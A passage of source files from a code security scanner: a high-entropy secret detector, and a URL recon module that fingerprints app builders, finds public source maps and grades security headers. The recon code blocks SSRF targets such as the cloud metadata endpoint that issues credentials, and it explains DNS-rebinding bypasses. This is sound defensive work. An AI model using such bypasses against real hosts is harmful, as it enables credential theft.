filteredFindings.push({ finding: toReview[idx], reason });\n }\n\n return {\n findings: [...filtered, ...overflow],\n filteredFindings,\n aiReviewed: reviewedAny,\n removedCount: fpMap.size,\n totalBefore,\n unreviewedCount,\n };\n}\n","/**\n * Shannon-entropy based secret detection.\n *\n * Catches high-entropy string literals that look like API keys / tokens /\n * credentials even when they don't match any of the service-specific\n * hardcoded-secret rules (VC001, VC132, etc). Fires a single `ENTROPY`\n * finding per suspicious literal.\n *\n * The trick to keeping this useful is keeping false positives down. Real\n * codebases are full of high-entropy strings that aren't secrets — SHA-256\n * hashes, UUIDs, base64 integrity hashes, Tailwind-generated class names,\n * SVG path data, Next.js content-addressed filenames, publishable\n * (intentionally-public) keys from Clerk/Stripe/etc. This scanner has three\n * layers of suppression before emitting a finding:\n *\n * 1. File-level: skip lockfiles, CSS/SVG/image/map files, node_modules,\n * minified/bundled output.\n * 2. Shape-level: if the string matches a known-safe shape (UUID, Git SHA,\n * integrity hash, publishable key prefix, Tailwind fingerprint, SVG\n * path data, Next.js content hash), skip.\n * 3. Context-level: inspect the assignment context — if the variable name\n * implies \"this holds a hash/digest/fingerprint\" (not a secret), skip.\n * If the variable name implies a secret (key/token/etc), lower the\n * entropy bar. Otherwise require high entropy AND no safe signals.\n *\n * When in doubt we bias toward suppressing — one FP every 100 scans is much\n * more costly to the product than one missed secret, because the expanded\n * VC132-VC151 service-specific rules already cover the most common key\n * formats.\n */\n\nimport type { Finding } from \"./types.js\";\nimport { isVendoredPath } from \"./vendored.js\";\nimport { isLineSilenced } from \"./silencing.js\";\n\nfunction shannonEntropy(str: string): number {\n const freq: Record<string, number> = {};\n for (const ch of str) {\n freq[ch] = (freq[ch] || 0) + 1;\n }\n const len = str.length;\n let entropy = 0;\n for (const count of Object.values(freq)) {\n const p = count / len;\n entropy -= p * Math.log2(p);\n }\n return entropy;\n}\n\n// ────────────────────────────────────────────\n// Shape-based allowlist — non-secret strings that look high-entropy\n// ────────────────────────────────────────────\n\nconst SAFE_PATTERNS: RegExp[] = [\n // UUIDs (v1-v5)\n /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i,\n // Git commit hashes (long and short)\n /^[0-9a-f]{40}$/i,\n /^[0-9a-f]{7,8}$/i,\n // Hex colors\n /^#?[0-9a-fA-F]{3,8}$/,\n // Small base64 (< 20 chars can't be a real key anyway)\n /^[A-Za-z0-9+/]{1,19}={0,2}$/,\n // Package versions\n /^\\d+\\.\\d+\\.\\d+/,\n // Integrity-hash prefix (sha256-, sha512-, ...)\n /^sha\\d+-/i,\n // A command line, not a credential.\n //\n // npm scripts are the case: `\"benchmark:bearer\": \"node\n // scripts/bearer-benchmark.js\"`. The KEY contains \"bearer\", which\n // SECRET_VAR_NAMES treats as secret-suggesting, so the entropy bar drops to\n // 4.0 and the shell command on the right is reported as a critical hardcoded\n // secret. This product's own package.json did it twice.\n //\n // Two shapes, both unambiguous: a value that starts with a known runner, and\n // a value containing whitespace plus a path or a file extension. No\n // credential has either — API keys, tokens, JWTs and connection strings are\n // all single unbroken words.\n /^(?:npx?|pnpm|yarn|bun|deno|node|tsx|ts-node|bash|sh|zsh|python3?|ruby|go|cargo|make|docker|vitest|jest|eslint|prettier|next|vite|tsc|turbo|rimraf|concurrently)\\b/i,\n /\\s.*(?:\\/|\\.(?:js|ts|mjs|cjs|jsx|tsx|sh|py|rb|go|json|yml|yaml))\\b/,\n // URLs without credentials in them\n /^https?:\\/\\/[^:@]*$/,\n /^https?:\\/\\/registry\\.npmjs\\.org\\//,\n /^https?:\\/\\/registry\\.yarnpkg\\.com\\//,\n // Full package integrity hash (sha512-[base64]=)\n /^sha\\d+-[A-Za-z0-9+/=]+$/,\n // Package tarball URLs\n /\\.tgz$/,\n /registry.*\\/-\\/.*\\.tgz$/,\n // ISO dates / times\n /^\\d{4}-\\d{2}-\\d{2}/,\n // Locale tags\n /^[a-z]{2}-[A-Z]{2}$/,\n // Text encodings\n /^utf-?8|ascii|latin|iso-8859/i,\n // MIME types\n /^(?:application|text|image|audio|video)\\//,\n // CSS keyword values\n /^(?:inherit|none|auto|block|flex|grid|absolute|relative|fixed|px|em|rem|%)/,\n // Developer-placeholder tokens\n /^(?:test|example|sample|demo|placeholder|temp|tmp|foo|bar|baz|lorem|ipsum)/i,\n // XML / DTD markers\n /DTD|DOCTYPE|w3\\.org|apple\\.com\\/DTDs/i,\n /xmlns|schema|xsd|xsi/i,\n\n // NEW — added in Wave 3.2 for context-aware FP reduction\n // ──────────────────────────────────────────────────────\n\n // Tailwind JIT / CSS-in-JS class-name fingerprints, e.g. \"css-2kx3yr8\",\n // \"tw-abc12def\", \"jss-1a2b3c4d\". Typically prefix + 6-12 hex-ish chars.\n /^(?:css|tw|jss|emotion|styled|mui|chakra)-[a-z0-9]{4,14}$/i,\n\n // SVG path data — starts with a path command letter followed by coords.\n // These can get very long and high-entropy but are never secrets.\n /^[MmLlHhVvCcSsQqTtAaZz][\\d.,\\s\\-MmLlHhVvCcSsQqTtAaZz]{10,}$/,\n\n // Next.js / Vite / webpack content-addressed asset filenames, e.g.\n // \"main.4e5f6a78.js\", \"chunk-2a3b.js\", \"_next/static/chunks/pages-xyz\".\n /\\.[0-9a-f]{6,16}\\.(?:js|css|mjs|woff2?|ttf|png|jpg|svg)(?:\\?.*)?$/i,\n /^_next\\//,\n\n // Publishable / client-side keys from common vendors. Flagged by their\n // own service-specific rules if they look wrong, but entropy should NOT\n // double-flag these. They are designed to ship to the browser.\n /^pk_(?:live|test|[a-z0-9]+)_/, // Stripe / Clerk publishable\n /^NEXT_PUBLIC_|^VITE_|^REACT_APP_/, // Build-time public env vars\n /^pub_/, // Segment etc.\n /^ey[A-Za-z0-9_-]+\\.ey[A-Za-z0-9_-]+\\./, // JWT header.payload prefix — don't flag solely on entropy\n\n // Content-Security-Policy hashes / nonces in HTML/JSON\n /^'sha\\d+-/,\n /^nonce-/i,\n\n // Embedded data URIs\n /^data:[a-z]+\\//i,\n\n // Sentry DSN — a publishable, client-side ingest key (it ships to the\n // browser), not a secret. Shape: https://<hash>@o<orgid>.ingest.<region.>\n // sentry.io/<projectid>. The generic URL allowlist above deliberately\n // excludes anything with an `@`, so the DSN would otherwise fire.\n /^https?:\\/\\/[0-9a-f]+@o\\d+\\.ingest\\.[a-z0-9.]*sentry\\.io\\//i,\n\n // HTTP security-header directive values (HSTS, etc.) — `max-age=63072000;\n // includeSubDomains; preload`. Config strings a security scanner actively\n // tells users to add; never secrets.\n /^max-age=\\d+/i,\n];\n\n// File types that shouldn't be scanned for entropy at all\nconst SKIP_FILES = /\\.(css|scss|less|svg|md|txt|html?|xml|yml|yaml|toml|lock|map|woff2?|ttf|eot|ico|png|jpg|gif|webp)$/i;\nconst SKIP_FILENAMES = /(?:package-lock\\.json|pnpm-lock\\.yaml|yarn\\.lock|composer\\.lock|Gemfile\\.lock|Cargo\\.lock|poetry\\.lock|Pipfile\\.lock|shrinkwrap\\.json)$/i;\n\n// Variable names whose contents are almost never secrets\nconst SAFE_VAR_NAMES = /(?:description|message|text|label|title|content|template|html|svg|css|style|class(?:Name)?|query|mutation|schema|regex|pattern|format|placeholder|comment|url|path|route|endpoint|href|src|alt|name|type|version|encoding|charset|chars|alphabet|locale|translation|copy|prose|markdown|slug|handle)/i;\n\n// Variable names that specifically imply hashing / fingerprinting rather than\n// secret storage. If a hex/base64 blob lands in one of these, suppress.\nconst HASH_LIKE_VAR_NAMES = /(?:^|[^a-z])(?:hash|digest|checksum|fingerprint|etag|crc|md5|sha1|sha256|sha512|contenthash|buildid|revision|commit|sri|integrity|cacheKey|fileHash|assetId|versionId)(?:$|[^a-z])/i;\n\n// Value prefixes / shapes that imply \"algorithm-name:hex-blob\" hash literals\n// — e.g. \"sha256:a94a8fe5ccb19...\", \"md5:5d41402abc4b2a76b9719d911017c592\"\nconst HASH_PREFIX_RE = /^(?:sha\\d+|md5|crc32|base64|bcrypt|argon2|pbkdf2|blake2b?)[:_]/i;\n\n/**\n * Site-ownership verification tokens.\n *\n * These look exactly like API keys — 30-plus random characters — and the\n * mechanism is the opposite of a secret: you prove you own a domain by\n * PUBLISHING the token where anyone can read it. Next.js renders a\n * `metadata.verification` block as `<meta name=\"google-site-verification\"\n * content=\"...\">` on every page, so the value is already served to every\n * visitor and every crawler. Telling someone to move it to an environment\n * variable and rotate it breaks their Search Console ownership and buys\n * nothing.\n *\n * WHY THIS IS SCOPED TO THE BLOCK. `google` and `yahoo` are far too common to\n * suppress on the variable name alone — `google: \"AIza...\"` really can be an\n * API key. Suppression applies only INSIDE a `verification: { ... }` object,\n * or on a `<meta name=\"...-site-verification\">` tag, where the key's meaning\n * is fixed by the framework.\n *\n * WHY IT IS NOT LEFT TO THE ENTROPY BAR. It already is, and that is the bug:\n * the final gate asks for entropy >= 4.5 when the name does not suggest a\n * secret, and real verification tokens land on both sides of that line. The\n * same fixture passes or fails depending on which random token it happens to\n * contain — which is how this was once measured as \"already fixed\" while the\n * fixture fired.\n */\nconst VERIFICATION_BLOCK_RE = /\\bverification\\s*:\\s*\\{/;\n\n/** Keys Next.js defines inside `metadata.verification`, plus the raw meta names. */\nconst VERIFICATION_KEY_NAMES =\n /^(?:google|yandex|yahoo|bing|me|other|[\"']?(?:google-site-verification|facebook-domain-verification|msvalidate\\.01|norton-safeweb-site-verification|ahrefs-site-verification|p:domain_verify|wot-verification)[\"']?)$/i;\n\n/** A verification token written as a raw meta tag rather than through Next.js. */\nconst VERIFICATION_META_RE =\n /<meta[^>]+name\\s*=\\s*[\"'][^\"']*(?:site-verification|domain-verification|msvalidate|domain_verify)[^\"']*[\"']/i;\n\n// Variable names that IMPLY a credential. If one of these catches a\n// high-entropy literal, we emit the finding at a lower entropy bar and a\n// higher severity.\nconst SECRET_VAR_NAMES = /(?:^|[^a-z])(?:key|secret|token|password|passwd|pwd|api[_-]?key|auth|credential|private|signing|bearer|access[_-]?token|refresh[_-]?token|session[_-]?id)(?:$|[^a-z])/i;\n\nfunction getSnippet(content: string, line: number): string {\n const lines = content.split(\"\\n\");\n const start = Math.max(0, line - 2);\n const end = Math.min(lines.length, line + 2);\n return lines.slice(start, end).map((l, i) => {\n const lineNum = start + i + 1;\n const prefix = lineNum === line ? \">\" : \" \";\n return `${prefix} ${String(lineNum).padStart(5)} | ${l}`;\n }).join(\"\\n\");\n}\n\n/**\n * Scan a batch of files for high-entropy string literals.\n *\n * Each element in `files` must be `{ path, content }`. Returns a list of\n * `Finding` objects for suspicious string literals. See the file header for\n * the suppression layers.\n */\nexport function scanEntropy(files: { path: string; content: string }[]): Finding[] {\n const findings: Finding[] = [];\n\n for (const { path: filePath, content } of files) {\n if (SKIP_FILES.test(filePath)) continue;\n if (SKIP_FILENAMES.test(filePath)) continue;\n const basename = filePath.split(\"/\").pop() || \"\";\n if (SKIP_FILENAMES.test(basename)) continue;\n if (filePath.includes(\"node_modules\")) continue;\n if (filePath.includes(\".min.\")) continue;\n if (/pro-rules-bundle|\\.bundle\\.|\\.chunk\\./i.test(filePath)) continue;\n if (/(?:\\.test\\.|\\.spec\\.|__tests__|__mocks__|fixtures?\\/)/i.test(filePath)) continue;\n\n // Reported either way; the label only holds it out of the grade. The\n // sweep's single biggest entropy source was a committed LLM-benchmark\n // result set under `.agent/skills/` — 164 of 286 findings from one repo.\n const vendored = isVendoredPath(filePath);\n\n const lines = content.split(\"\\n\");\n\n /**\n * Brace depth at which a `verification: {` block opened, or -1 outside\n * one. Tracked across lines because the tokens sit on the lines after the\n * key, and the nested `other: { ... }` object has to stay inside it.\n */\n let verificationDepth = -1;\n let braceDepth = 0;\n\n for (let i = 0; i < lines.length; i++) {\n const line = lines[i];\n\n if (VERIFICATION_BLOCK_RE.test(line) && verificationDepth === -1) {\n verificationDepth = braceDepth;\n }\n const opens = (line.match(/\\{/g) || []).length;\n const closes = (line.match(/\\}/g) || []).length;\n const depthBefore = braceDepth;\n braceDepth += opens - closes;\n if (verificationDepth !== -1 && braceDepth <= verificationDepth && depthBefore > verificationDepth) {\n verificationDepth = -1;\n }\n const inVerificationBlock = verificationDepth !== -1;\n\n // Skip comment lines\n const trimmed = line.trimStart();\n if (trimmed.startsWith(\"//\") || trimmed.startsWith(\"#\") || trimmed.startsWith(\"*\") || trimmed.startsWith(\"/*\")) continue;\n\n // Find string assignments (quotes or backticks)\n const stringPattern = /(?:[:=]\\s*)([\"'`])([^\"'`\\n]{20,120})\\1/g;\n let match: RegExpExecArray | null;\n\n while ((match = stringPattern.exec(line)) !== null) {\n const value = match[2];\n\n // Runtime-assembled template literals — `team_${Date.now()}_${Math.\n // random().toString(36).slice(2,8)}` and friends. An interpolated\n // string is built at runtime, so it structurally cannot be a\n // hardcoded secret. This kills the dominant id-generation false-\n // positive class with zero secret-detection loss.\n if (value.includes(\"${\")) continue;\n\n // Layer 2 — shape-based allowlist\n if (SAFE_PATTERNS.some(p => p.test(value))) continue;\n if (HASH_PREFIX_RE.test(value)) continue;\n\n // Layer 3 — context\n const beforeAssign = line.substring(0, match.index);\n if (SAFE_VAR_NAMES.test(beforeAssign)) continue;\n\n // Skip URL-ish strings without credentials\n if (/^https?:\\/\\/[^:@]*$/.test(value)) continue;\n\n // Skip sentence-like strings (more than 2 spaces => likely prose)\n if ((value.match(/\\s/g) || []).length > 2) continue;\n\n // Adaptive entropy thresholds depending on the charset of the value\n const isHex = /^[0-9a-fA-F]+$/.test(value);\n const isBase64 = /^[A-Za-z0-9+/]+=*$/.test(value);\n\n let threshold = 4.0;\n if (isHex) threshold = 3.0;\n else if (isBase64) threshold = 4.5;\n\n if (value.length < 20) continue;\n\n const entropy = shannonEntropy(value);\n if (entropy < threshold) continue;\n\n /**\n * Pull out the variable name for context checks.\n *\n * This used to ask for a trailing `:` or `=`:\n *\n * beforeAssign.match(/(\\w+)\\s*[:=]\\s*$/)\n *\n * but `stringPattern` has already consumed that delimiter — its match\n * starts AT the `:` — so `beforeAssign` is \"const apiKey \" or\n * \" google\", never \"apiKey =\". The pattern could not match, and\n * `varName` was the empty string on every line of every file since it\n * was written. Both context checks below therefore never ran:\n *\n * - HASH_LIKE_VAR_NAMES suppression (contentHash, etag, buildId)\n * was dead, so those kept reporting on the raw entropy bar;\n * - `isLikelySecret` was permanently false, so the lower bar for\n * credential-named variables never applied and the FINAL gate\n * always demanded entropy >= 4.5.\n *\n * What that second one costs, precisely: a value whose charset gets\n * the 4.0 entry threshold but whose entropy lands under 4.5 passes the\n * entry gate and is then dropped by the final one. `apiKey =\n * \"a7f3_9k2m_4p8q_1z5x_6c0v_3b7n\"` measures 4.32 and went unreported.\n * VC001's prefix regexes still catch the well-known shapes (`sk_live_`,\n * `ghp_`, `AIza`), so what slipped through is credentials with no\n * recognisable prefix, identifiable only by the name they are bound to.\n *\n * It does NOT rescue everything: a pure-alphanumeric value is measured\n * against a 4.5 ENTRY threshold and never reaches the credential\n * check at all — a 24-character AWS access key id measures 4.05 and is\n * still missed. Making the entry threshold credential-aware is a\n * separate change with a wider blast radius; not done here.\n *\n * No delimiter is needed: take the trailing identifier, quoted or not,\n * from whatever precedes the assignment.\n */\n const varName =\n beforeAssign.match(/[\"']([^\"']+)[\"']\\s*$/)?.[1] ||\n beforeAssign.match(/([\\w$-]+)\\s*$/)?.[1] ||\n \"\";\n\n /**\n * Site-ownership tokens are published on purpose — see\n * VERIFICATION_BLOCK_RE above. Suppressed only where the framework\n * fixes the key's meaning: inside a `verification: { ... }` object, or\n * on a verification meta tag. A secret that happens to sit elsewhere\n * in the same file is still reported.\n */\n if (inVerificationBlock && VERIFICATION_KEY_NAMES.test(varName)) continue;\n if (VERIFICATION_META_RE.test(line)) continue;\n\n // Context suppression: if the variable name clearly describes a\n // hash/digest/fingerprint AND the value is hex-ish or base64-ish,\n // suppress. This catches things like:\n // const contentHash = \"a94a8fe5ccb19ba61c4c0873d391e987982fbbd3\";\n // const etag = \"W/\\\"686897696a7c876b7e\\\"\";\n // config.buildId = \"9a4f2c8b3d1e5f7a8c9b0d1e2f3a4b5c\";\n if (HASH_LIKE_VAR_NAMES.test(varName) && (isHex || isBase64)) continue;\n\n const isLikelySecret = SECRET_VAR_NAMES.test(varName);\n\n // Require EITHER very-high entropy OR a secret-suggesting var name\n // before actually emitting a finding. This is the final gate.\n if (entropy < 4.5 && !isLikelySecret) continue;\n\n // Reviewed-and-accepted escape valve, same marker the regex rules\n // honor. Some high-entropy strings are public by construction — a\n // Google Search Console verification token, a subresource-integrity\n // hash, a public key — and the only previous advice this scanner\n // offered was a path-wide .xploitscanignore entry, which suppresses\n // every future finding in that file too. A per-site marker keeps the\n // rest of the file scanned.\n if (isLineSilenced(lines, i, \"ENTROPY\")) continue;\n\n const masked = value.substring(0, 6) + \"...\" + value.substring(value.length - 4);\n\n findings.push({\n ...(vendored ? { vendored: true } : {}),\n id: `ENTROPY-${filePath}:${i + 1}`,\n rule: \"ENTROPY\",\n severity: isLikelySecret ? \"critical\" : \"high\",\n title: \"High-Entropy String Detected (Possible Secret)\",\n description: `Found a high-entropy string (${entropy.toFixed(1)} bits) that may be a hardcoded secret or API key: \"${masked}\"`,\n file: filePath,\n line: i + 1,\n snippet: getSnippet(content, i + 1),\n fix: \"If this is a secret, move it to an environment variable. If it's not a secret (e.g. a hash, encoded data, or a public verification token), add an inline `// ENTROPY-OK: <reason>` comment above the line, or add the file to .xploitscanignore.\",\n category: \"Secrets\",\n source: \"custom\",\n owasp: \"A02:2021\",\n cwe: \"CWE-798\",\n });\n }\n }\n }\n\n return findings;\n}\n","/**\n * URL recon — what can be learned about a deployed app from what it already\n * serves the public.\n *\n * Everything here is a PURE function over strings the caller has already\n * fetched. No network access lives in this module, which is what makes the\n * detection logic unit-testable and keeps the fetching — the dangerous part —\n * in one auditable place in the caller.\n *\n * Scope, deliberately narrow:\n *\n * IN Reading what a site voluntarily serves to any browser: its HTML, its\n * JavaScript bundles, its response headers. This is the same data a\n * visitor's devtools shows, and no more.\n *\n * OUT Probing for vulnerabilities. No injection payloads, no auth-bypass\n * attempts, no querying somebody's database with a key we found. Those\n * are unauthorized security testing against a host the operator has not\n * proven they own, and this product does not do that.\n *\n * The distinction matters commercially too: \"your source maps are public\" is a\n * finding we can hand to a stranger safely, because acting on it requires\n * access they already have. \"Your database is unprotected, here is the key\" is\n * an attack map.\n */\n\n// ---------------------------------------------------------------------------\n// SSRF containment\n// ---------------------------------------------------------------------------\n\n/**\n * Hostnames that must never be fetched, whatever the user typed.\n *\n * A URL scanner is a server that makes requests to addresses supplied by\n * anonymous strangers. That is the definition of SSRF, and the interesting\n * targets are not on the public internet — they are the cloud metadata\n * endpoint (169.254.169.254, which hands out IAM credentials), the container\n * network, and localhost, where internal admin surfaces bind.\n *\n * Shipping that hole inside a security product would be worse than not\n * shipping the feature.\n */\nconst BLOCKED_HOSTNAMES = new Set([\n \"localhost\",\n \"127.0.0.1\",\n \"0.0.0.0\",\n \"::1\",\n \"[::1]\",\n \"metadata.google.internal\",\n \"metadata.goog\",\n \"instance-data\",\n]);\n\n/** Suffixes that only ever resolve inside a private network. */\nconst BLOCKED_SUFFIXES = [\".local\", \".localhost\", \".internal\", \".home.arpa\", \".cluster.local\"];\n\n/**\n * Is a dotted-quad or IPv6 literal outside the publicly routable ranges?\n *\n * Exported because the caller MUST re-check this against the address DNS\n * actually resolved to, not merely against the hostname the user typed.\n * Checking only the hostname is defeated by pointing `evil.example.com` at\n * 169.254.169.254 — the DNS-rebinding shape — and by any of the dozens of\n * decimal / octal / IPv4-mapped-IPv6 spellings of a private address.\n */\nexport function isPrivateAddress(address: string): boolean {\n const addr = address.trim().toLowerCase().replace(/^\\[|\\]$/g, \"\");\n\n // IPv4-mapped IPv6 (::ffff:127.0.0.1) — unwrap and re-test as IPv4.\n const mapped = addr.match(/^::ffff:(\\d+\\.\\d+\\.\\d+\\.\\d+)$/);\n if (mapped) return isPrivateAddress(mapped[1]);\n\n const v4 = addr.match(/^(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})$/);\n if (v4) {\n const [a, b] = [Number(v4[1]), Number(v4[2])];\n if ([a, Number(v4[2]), Number(v4[3]), Number(v4[4])].some((o) => o > 255)) return true; // malformed → refuse\n if (a === 0) return true; // \"this network\"\n if (a === 10) return true; // RFC1918\n if (a === 127) return true; // loopback\n if (a === 169 && b === 254) return true; // link-local, incl. cloud metadata\n if (a === 172 && b >= 16 && b <= 31) return true; // RFC1918\n if (a === 192 && b === 168) return true; // RFC1918\n if (a === 100 && b >= 64 && b <= 127) return true; // CGNAT (RFC6598)\n if (a === 192 && b === 0) return true; // IETF protocol assignments / TEST-NET-1\n if (a === 198 && (b === 18 || b === 19)) return true; // benchmarking\n if (a >= 224) return true; // multicast + reserved + broadcast\n return false;\n }\n\n if (addr === \"::\" || addr === \"::1\") return true;\n // Unique-local fc00::/7 and link-local fe80::/10.\n if (/^f[cd][0-9a-f]{2}:/.test(addr)) return true;\n if (/^fe[89ab][0-9a-f]:/.test(addr)) return true;\n\n return false;\n}\n\nexport interface TargetRejection {\n ok: false;\n reason: string;\n}\nexport interface TargetAccepted {\n ok: true;\n url: string;\n hostname: string;\n}\nexport type TargetCheck = TargetAccepted | TargetRejection;\n\n/**\n * Normalise and vet a user-supplied scan target.\n *\n * Accepts bare domains (\"example.com\") because that is what people paste, and\n * upgrades them to https. Rejects anything that is not a public http(s)\n * endpoint. This is a necessary gate, never a sufficient one — see\n * isPrivateAddress on why the resolved IP must be checked separately.\n */\nexport function parseScanTarget(input: string): TargetCheck {\n const raw = (input || \"\").trim();\n if (!raw) return { ok: false, reason: \"Enter a URL to scan.\" };\n if (raw.length > 2048) return { ok: false, reason: \"That URL is too long.\" };\n\n const withScheme = /^[a-z][a-z0-9+.-]*:\\/\\//i.test(raw) ? raw : `https://${raw}`;\n\n let url: URL;\n try {\n url = new URL(withScheme);\n } catch {\n return { ok: false, reason: \"That doesn't look like a valid URL.\" };\n }\n\n if (url.protocol !== \"http:\" && url.protocol !== \"https:\") {\n return { ok: false, reason: \"Only http and https URLs can be scanned.\" };\n }\n // Credentials in the URL would be forwarded by the fetch. Refuse rather than\n // silently strip: a user pasting them deserves to be told.\n if (url.username || url.password) {\n return { ok: false, reason: \"Remove the username and password from the URL.\" };\n }\n if (url.port && url.port !== \"80\" && url.port !== \"443\") {\n return { ok: false, reason: \"Only the standard web ports (80 and 443) can be scanned.\" };\n }\n\n const host = url.hostname.toLowerCase();\n if (BLOCKED_HOSTNAMES.has(host)) {\n return { ok: false, reason: \"That address is not publicly reachable.\" };\n }\n if (BLOCKED_SUFFIXES.some((s) => host.endsWith(s))) {\n return { ok: false, reason: \"That address is not publicly reachable.\" };\n }\n if (isPrivateAddress(host)) {\n return { ok: false, reason: \"That address is not publicly reachable.\" };\n }\n // A hostname with no dot is a bare label — an intranet name, not a domain.\n if (!host.includes(\".\")) {\n return { ok: false, reason: \"Enter a full domain name.\" };\n }\n\n return { ok: true, url: url.toString(), hostname: host };\n}\n\n// ---------------------------------------------------------------------------\n// Builder fingerprinting\n// ---------------------------------------------------------------------------\n\nexport interface BuilderFingerprint {\n id: string;\n name: string;\n /** What we actually saw. Shown to the user — never assert without evidence. */\n evidence: string;\n}\n\n/**\n * Scaffold markers that survive into a production build.\n *\n * These are weaker signals than the repository markers the Vibe Security Index\n * samples on (a `package.json` dependency is unambiguous; a string in a minified\n * bundle is not), so everything here reports the evidence alongside the verdict\n * and the caller must present it as \"looks like\", never \"is\".\n */\nconst BUILDER_SIGNATURES: Array<{ id: string; name: string; patterns: RegExp[] }> = [\n {\n id: \"lovable\",\n name: \"Lovable\",\n patterns: [/lovable-tagger/i, /lovable\\.dev/i, /data-lov-id=/i, /gpteng\\.co/i],\n },\n { id: \"v0\", name: \"v0\", patterns: [/v0-user-next/i, /v0\\.dev/i, /_next\\/static.*v0-/i] },\n { id: \"bolt\", name: \"Bolt\", patterns: [/bolt-vite-react/i, /stackblitz/i, /bolt\\.new/i] },\n { id: \"base44\", name: \"Base44\", patterns: [/@base44\\/sdk/i, /base44\\.app/i, /base44\\.com/i] },\n];\n\nexport function detectBuilder(haystack: string): BuilderFingerprint | null {\n for (const sig of BUILDER_SIGNATURES) {\n for (const p of sig.patterns) {\n const m = haystack.match(p);\n if (m) return { id: sig.id, name: sig.name, evidence: m[0].slice(0, 120) };\n }\n }\n return null;\n}\n\n// ---------------------------------------------------------------------------\n// Source maps\n// ---------------------------------------------------------------------------\n\n/**\n * Extract `//# sourceMappingURL=` references from a bundle.\n *\n * This is the highest-value thing a URL scan can find. A production build that\n * ships its source maps is publishing its original TypeScript — comments,\n * internal names, dead code, and often the server-side helpers that were\n * tree-shaken from the runtime but not from the map. It is a real finding on\n * its own, and it is also the bridge to the actual product: given the maps we\n * can reconstruct sources and run the full rule set against real code, with no\n * repository access at all.\n *\n * Data-URI maps are ignored: inline maps are a bundler default in development\n * and expose nothing that the served bundle did not already contain.\n */\nexport function findSourceMapRefs(js: string, bundleUrl: string): string[] {\n const out: string[] = [];\n const re = /[#@]\\s*sourceMappingURL\\s*=\\s*([^\\s*'\"]+)/g;\n let m: RegExpExecArray | null;\n while ((m = re.exec(js)) !== null) {\n const ref = m[1].trim();\n if (!ref || ref.startsWith(\"data:\")) continue;\n try {\n out.push(new URL(ref, bundleUrl).toString());\n } catch {\n /* unresolvable reference — not a finding, just noise */\n }\n }\n return [...new Set(out)];\n}\n\n// ---------------------------------------------------------------------------\n// Client-side backend configuration\n// ---------------------------------------------------------------------------\n\nexport interface ExposedConfig {\n kind: \"supabase\" | \"firebase\";\n /** Non-secret identifier, safe to echo back (project ref, project id). */\n projectRef: string | null;\n detail: string;\n}\n\n/**\n * Backend configuration that a client bundle necessarily contains.\n *\n * IMPORTANT: finding these is NOT a vulnerability report. A Supabase anon key\n * is designed to ship to the browser; every Supabase app has one. What matters\n * is that it means the app's entire data-access security rests on row-level\n * security being configured correctly — which cannot be determined from\n * outside without querying their database, and we will not do that.\n *\n * So this is reported as an architectural fact plus a question the owner\n * should answer, never as \"you are exposed\". Overstating it would be both\n * wrong and the kind of scare-marketing this product exists to be the opposite\n * of.\n *\n * A `service_role` key is a different matter entirely — that one is never\n * supposed to reach a browser — and is flagged by the existing VC004 rule when\n * the reconstructed source is scanned.\n */\nexport function detectExposedConfig(js: string): ExposedConfig[] {\n const out: ExposedConfig[] = [];\n\n const supabase = js.match(/https:\\/\\/([a-z0-9]{16,32})\\.supabase\\.co/i);\n if (supabase) {\n out.push({\n kind: \"supabase\",\n projectRef: supabase[1],\n detail:\n \"A Supabase project URL is present in the client bundle. This is normal and expected — \" +\n \"but it means row-level security is the only thing standing between a visitor and your data.\",\n });\n }\n\n const firebase = js.match(/[\"']?projectId[\"']?\\s*:\\s*[\"']([a-z0-9-]{4,60})[\"']/i);\n if (firebase && /firebase/i.test(js)) {\n out.push({\n kind: \"firebase\",\n projectRef: firebase[1],\n detail:\n \"A Firebase project configuration is present in the client bundle. This is normal and \" +\n \"expected — but it means your Firestore/Storage rules are the only access control.\",\n });\n }\n\n return out;\n}\n\n// ---------------------------------------------------------------------------\n// Response headers\n// ---------------------------------------------------------------------------\n\nexport interface HeaderFinding {\n header: string;\n severity: \"medium\" | \"low\" | \"info\";\n message: string;\n}\n\n/**\n * Header hygiene. Deliberately the LAST thing reported, and never the headline.\n *\n * securityheaders.com and Mozilla Observatory do this for free and have done\n * for a decade. Leading with it would tell a visitor we are a commodity tool\n * competing with something free, when the differentiator is everything above.\n * It is included because its absence is conspicuous, not because it sells.\n */\nexport function assessHeaders(headers: Record<string, string>): HeaderFinding[] {\n const h: Record<string, string> = {};\n for (const [k, v] of Object.entries(headers)) h[k.toLowerCase()] = v;\n const out: HeaderFinding[] = [];\n\n if (!h[\"content-security-policy\"]) {\n out.push({\n header: \"Content-Security-Policy\",\n severity: \"medium\",\n message: \"No CSP. A single injected script has nothing stopping it from loading or exfiltrating.\",\n });\n }\n if (!h[\"strict-transport-security\"]) {\n out.push({\n header: \"Strict-Transport-Security\",\n severity: \"medium\",\n message: \"No HSTS. Any visit that starts over http can be intercepted before the redirect to https.\",\n });\n }\n if (!h[\"x-content-type-options\"]) {\n out.push({\n header: \"X-Content-Type-Options\",\n severity: \"low\",\n message: \"Missing nosniff. Browsers may re-interpret a response as a type you did not intend.\",\n });\n }\n if (!h[\"referrer-policy\"]) {\n out.push({\n header: \"Referrer-Policy\",\n severity: \"low\",\n message: \"No referrer policy, so the browser default applies. Current browsers send only your origin to other sites, but older ones send full URLs — including any ids in the path.\",\n });\n }\n return out;\n}\n\n/** Script `src` URLs in an HTML document, resolved against the page URL. */\nexport function extractScriptUrls(html: string, pageUrl: string, limit = 12): string[] {\n const out: string[] = [];\n const re = /<script\\b[^>]*\\bsrc\\s*=\\s*[\"']([^\"']+)[\"']/gi;\n let m: RegExpExecArray | null;\n while ((m = re.exec(html)) !== null && out.length < limit) {\n try {\n const u = new URL(m[1], pageUrl);\n if (u.protocol === \"http:\" || u.protocol === \"https:\") out.push(u.toString());\n } catch {\n /* skip unresolvable src */\n }\n }\n return [...new Set(out)];\n}\n","import { parseFile } from \"../ast/index.js\";\nimport { maskComments, TEST_FILE_PATTERN } from \"../rules.js\";\nimport { isVendoredPath } from \"../vendored.js\";\nimport type { QualityContext, QualityFile } from \"./types.js\";\n\n/**\n * The gates every quality rule shares.\n *\n * Each of these exists because an adversarial review found a legitimate\n * pattern that tripped a naive rule. Centralising them means a new rule\n * inherits the protection instead of rediscovering it — and means there is one\n * place to fix when the next FP class turns up.\n */\n\n/** Paths no quality rule may ever report on. */\nfunction isExcludedPath(path: string): boolean {\n // Tests, stories, 